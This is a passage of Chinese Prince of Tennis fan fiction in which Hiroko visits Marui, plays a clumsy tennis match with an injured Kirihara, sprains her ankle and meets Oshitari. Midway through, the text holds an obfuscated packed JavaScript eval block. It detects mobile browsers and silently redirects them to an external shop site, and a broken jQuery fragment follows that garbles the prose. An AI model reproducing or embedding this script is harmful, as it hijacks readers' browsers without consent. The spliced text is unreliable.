“别紧张,不是什么大事,”向日摆摆手,“那家伙歇了一会儿还想继续跟迹部打第二场,被真田按回去了。
“说实在的,你那个弟弟,简直就是个战斗机器。精神状态比没受伤的人还亢奋。”
确实是切原赤也的风格。
“放心吧,切原姐姐,”向日抱起胳膊,灵活地转身,“你们立海大那帮人围着他转,要是真受伤了,哪轮得到我来跟你说。”
听到他没什么大碍,熙子的心稍稍安定了一下,但是那声“切原姐姐”听起来还是很奇怪,无奈向日已经离开,熙子把解释的冲动又咽了下去,算了,她大概也没有需要解释的必要了。
******
蛋糕送到文太手里的时候,他刚洗完澡,头发吹得半干,身上散发着淡淡的苹果清香,他看到熙子,眼睛明显亮了起来:“你还真送来了啊。”
“不然呢?”熙子不等他邀请,就直接登堂入室,“都被你语音轰炸成那样了,再不来显得我多冷酷无情。”
文太没有理会她的揶揄,低头拆蛋糕盒的系绳,动作里带着一种珍惜。薄巧蛋糕完好无损地躺在盒子里,只是黑绿相间的奶油和巧克力已经有微微融化的迹象,在房间的光线下看起来比照片上更鲜活诱人。“天才,”文太连连称赞,“我的蛋糕还活着。”
“要不要叫切原赤也一起来吃?”熙子开玩笑道,“安抚一下他受伤的膝盖和心灵。”
文太正把另一支叉子递给她,动作停了一瞬,诧异地抬起眼睛:“你怎么知道的?”
“碰到冰帝的队员,闲聊了几句。”熙子接过叉子,波澜不惊地回答。
“你什么时候和冰帝的这么熟了?”文太重新低下头,专心致志地对付那块蛋糕,随意地说道,“你的社交圈扩展得还挺快。”
熙子“呵呵”地干笑了两声,决定还是不要把自己被冰帝当成可疑人员的糗事说出来了,转移话题,“训练累不累?”
“比起立海大的强度简直是小儿科,”文太的语气带着一点点自得,“不过新对手还是挺有意思的,有个叫芥川慈郎的家伙,一直缠着我要签名呢。”
“要签名?你的?”
“当然——不过你那是什么语气?你在质疑本天才的魅力吗……”
两人聊了一会儿,蛋糕也吃得差不多了,熙子看了一眼手机屏幕上的时间,站起身往门口走去:“我也该回去了,下次可别……”
她的话没有说完,就被文太拉住了。
手上传来的温度让熙子的脚步停在了原地,心跳停了一瞬。文太的手比她想象中要大很多,也温暖很多,熙子不是没和异性牵过手,但是对方是丸井文太这个事实显然比牵手本身来得更有冲击性得多。
她错愕地看着文太,手还被他攥在手里,文太坐在椅子上,仰着头看她,认真地说:
“你就在这里陪我吧。”
“……哈?”
“别误会,”文太正经不过两秒就松开了她的手,恢复了笑嘻嘻的模样,“现在时间还早,你是第一次来这里吧?我带你转转?”
他说这话的时候已经站起来了,语气轻松自然,仿佛刚刚的牵手只是单纯为了阻拦她离开的情急之举,而熙子内心因此泛起的涟漪却没有平静的趋势,文太是不是正在一点点模糊他们之间朋友的界限?这个念头蹦到熙子脑海里,让她吓了一跳。
文太已经系好了鞋带,元气满满地站在门口,等着她的回答。
“好啊,”熙子决定暂时不去想这些,“反正来都来了。”
******
他们下了楼,傍晚的阳光已经微微斜了下来,把两人的影子拉得略长。他们漫无目的地溜达着,直到听见远处的网球场传来球拍击球的脆响,一声接一声,间隔很短。文太循着声音的方向走了几步,然后停住了,下巴朝球场方向抬了一下:“还在练啊。”
熙子走近,顺着他的目光看过去,球场上的两个人影清晰起来——桑原站在网前,正在给对面喂球,不难看出正在扮演一台尽职尽责的人肉发球机;而对面的那个人,右腿膝盖处缠着一圈白色的绷带,动作幅度比平时小了一些,脚步也慢了半拍,但挥拍的姿势依然十分到位,腰肢的摆动漂亮又有力。
果然是切原赤也。
他的伤口位置和第一次休息室里的伤口位置几乎一模一样,新伤叠旧伤,这个人不知道疼吗?
他还沉浸在训练中,眼神专注,似乎要把因为膝盖伤落下的对战一口气补回来,对面的桑原倒是已经有了明显的疲态。熙子想起向日评价他“战斗机器”的话,深表赞同,又觉得被迫带孩子的桑原生无可恋的表情颇具喜感。
“赤也——”文太一边朝球场里走,一边喊了一声,“小心膝盖!”
切原的动作停了下来,他转过身,目光从文太身上扫过,然后停在了文太身后半步的熙子身上,眼睛瞬间瞪大了。
“前辈——?!”他的声音里满是雀跃,先是转肩膀,继而整个身子都转了过来,桑原打过来的最后一颗网球从他身后弹了几下滚远了。切原快步朝她的方向走了过来,因为膝盖上的绷带,步伐带着一种不太协调的滑稽的卡顿,“你怎么来了?!你怎么穿——”
熙子还没来得及回答,文太已经走进场内,顺手接过桑原手上的拍子,在手里掂了掂,然后朝她扔了过来。
熙子下意识地伸手接住了。
“你难得穿本天才的常胜队服——”文太俏皮地朝她眨眨眼,“也稍微出出汗吧?”
“哈?”熙子低头看了一眼手里的拍子,又看向文太,哭笑不得,“你明知道我不会打球。”
文太的表情看起来却不像是开玩笑:“正是因为你不会,所以你的对手是单腿的赤也。怎么样?”
切原愣住了,低头看了一眼自己右腿膝盖上那圈绷带,然后很快就露出了臭屁的自信满满的神情:“——前辈,你放心,我会打得很温柔的!”
站在一边的桑原露出一副“得救了”的表情,他把手里剩下的几颗球扔回筐里:“你们来了就好,我回去歇会。”然后生怕切原再拉着他训练一样,一溜烟地离开了球场。
“开始吧——前辈!”
隔着大半个球场,切原的音量依然没有半分减弱,带着一股毫不掩饰的兴奋。他微微曲膝,摆出一副标准的正式比赛的架势,目不转睛等着她的发球。
熙子的目光依次落在自己手里的球拍,严阵以待的切原,和场边已经抱着胳膊坐下、准备看好戏的文太身上,忽然觉得有点难堪——她的球技水平基本停留在“国中体育课发球不过网”的阶段,虽然做了一个月的经理,她对于网球的知识也仅限于纸上谈兵。而对面那个人可是号称“立海大NO.1”、“立海大的ACE”的超级王牌,即使只用一条腿,挥拍速度也足够让她反应不过来。但是熙子不是轻易认输的人,只不过是出出汗而已,她深吸一口气,把球高高抛起来,拍了出去。
球划出一道歪歪扭扭的弧线,落在熙子面前半米的位置,弹了一下,发球失误。
“……”熙子看着那颗在地面上滚远的球,沉默了一秒。
“前辈,我是受伤了,你也不用这样放水吧。”切原的语气真诚得让人分不清他是阴阳怪气还是安慰,“再来一球!这次扔低一点点!”
******
几球过后,熙子慢慢找到了手感,不知道是切原喂球喂得好,还是文太这身常胜队服真的起了作用,她开始尝试回击了,虽然动作还很笨拙,有时还会出界,但击球时拍到球心的感觉确实在变准,回击的位置也逐渐靠近她想要的方向。这种逐渐掌控住身体的感觉让熙子很享受,她忽然理解了为什么网球部的人能在球场上待一整个下午。看着那颗黄色的小球在自己的挥拍下飞向预期的落点,确实很有成就感。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909488|213078||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中场休息时,文太递上一杯水,熙子一饮而尽。
“怎么样?”文太接回空杯,吹着泡泡糖,“天才的常胜队服还是有点用的吧?”
“丸井前辈太狡猾了,明明是我陪练做得好嘛!”切原赤也气鼓鼓地邀功。
“不许无视我的个人天赋。”熙子不偏不私,正义凛然。
“好,请二位继续练习,我去给你们买水。”文太笑着站起来,从善如流地做了一个“请”的手势,“希望我回来的时候,暮野选手能拿到大满贯。”
******
熙子和切原重新回到了球场上,你来我往地打过几轮后,熙子的动作更流畅了些,甚至主动要求切原提高难度。
“真的吗前辈?那这次发球会带一点点旋转哦。”
切原赤也似乎为终于能打出一个稍微有点含金量的球感到兴奋。
“嗯,来吧。”熙子全神贯注地压低重心,握紧拍柄,切原的球已经飞过来了,速度比之前快了不少,落地后弹起的轨迹也明显向另一侧延伸,她已经做好了挥拍的准备,一个深蓝色的身影就突兀地出现在了球场围栏边。
那个身影有点眼熟,像是冰帝的队员,她的注意力被拽走了一瞬,速度慢了半拍,那颗球就弹出了她的回击范围。她条件反射地迈步去够,脚踝处突然传来一阵钝痛,下一秒,熙子的身体失去了平衡。
球拍被甩飞,熙子狠狠地扑倒在球场上,一阵尖锐的刺痛从脚踝和膝盖同时爬上来。
好痛!
熙子不禁倒吸一口凉气,趴在原地缓了缓才呲牙咧嘴地把身体支起来,脚踝大概是崴到了,膝盖也被地面蹭破了大面积一层皮,瞬时渗出了血珠,看起来伤得不轻。熙子撑在地面上的手控制不住地微微发抖。
“前辈——!”
切原慌张地大喊,火速跑到熙子身边蹲下来,语气急切又自责:“你没事吧!啊——你的腿——”
伤口触目惊心。
“快,我带你去医务室!”
切原不由分说地就要把她架起来,明明自己的膝盖也受着伤,此刻却不遗余力地把她的重量全部包揽到自己身上,熙子一面感动,一面又觉得愧疚。如果不是自己分神,也不会意料之外的摔伤。而听到去医务室,她条件反射地按住了切原:“不行。”
“什么?”
“我是混进来的。”熙子不忘自己的身份,“去医务室要登记,会露馅。”
切原的表情更焦急了。她说得没错,体育中心的管理严格,她的名字本就不在立海大的训练名单上,如果去医务室,她就会被发现是贸然闯入,若是真的追究下去,督察不力的门岗、丸井文太、幸村部长乃至整个立海大网球部的声誉都会受到牵连。熙子不想因为一点小事引发那么大的波澜。
“可是你的伤——”
“没关系,先让我坐一会儿。”
熙子重重地呼吸,试图说服自己没那么娇弱。她撑着地面往场边移动,但受伤的那只脚踝一受力就钻心的疼,熙子的额头出了一层薄薄的虚汗。切原在她旁边手忙脚乱地想要扶她,又怕碰到她疼的地方。就在两个人以一种笨拙的姿势僵持的时候,一个声音从旁边传过来,尾音带着一点关西腔:
“这样下去不是办法。”
熙子和切原同时抬起头。
让熙子分神的罪魁祸首不知什么时候已经走到了球场边,此刻正站在他们面前,目光落到熙子的伤口上。
“崴脚了吧?”他了然于胸地说,“我那里有急救箱,可以给你简单处理一下。”
熙子记起了他的脸,早些在冰帝宿舍走廊里,自己说走错了的时候,有人轻笑了一声,就是面前这位戴眼镜的深蓝色头发的男人。
“啊!你是冰帝的……”切原赤也看着他,努力回想着他的名字。
“冰帝二年级,”男人推了推鼻梁上的平光眼镜,“忍足侑士。”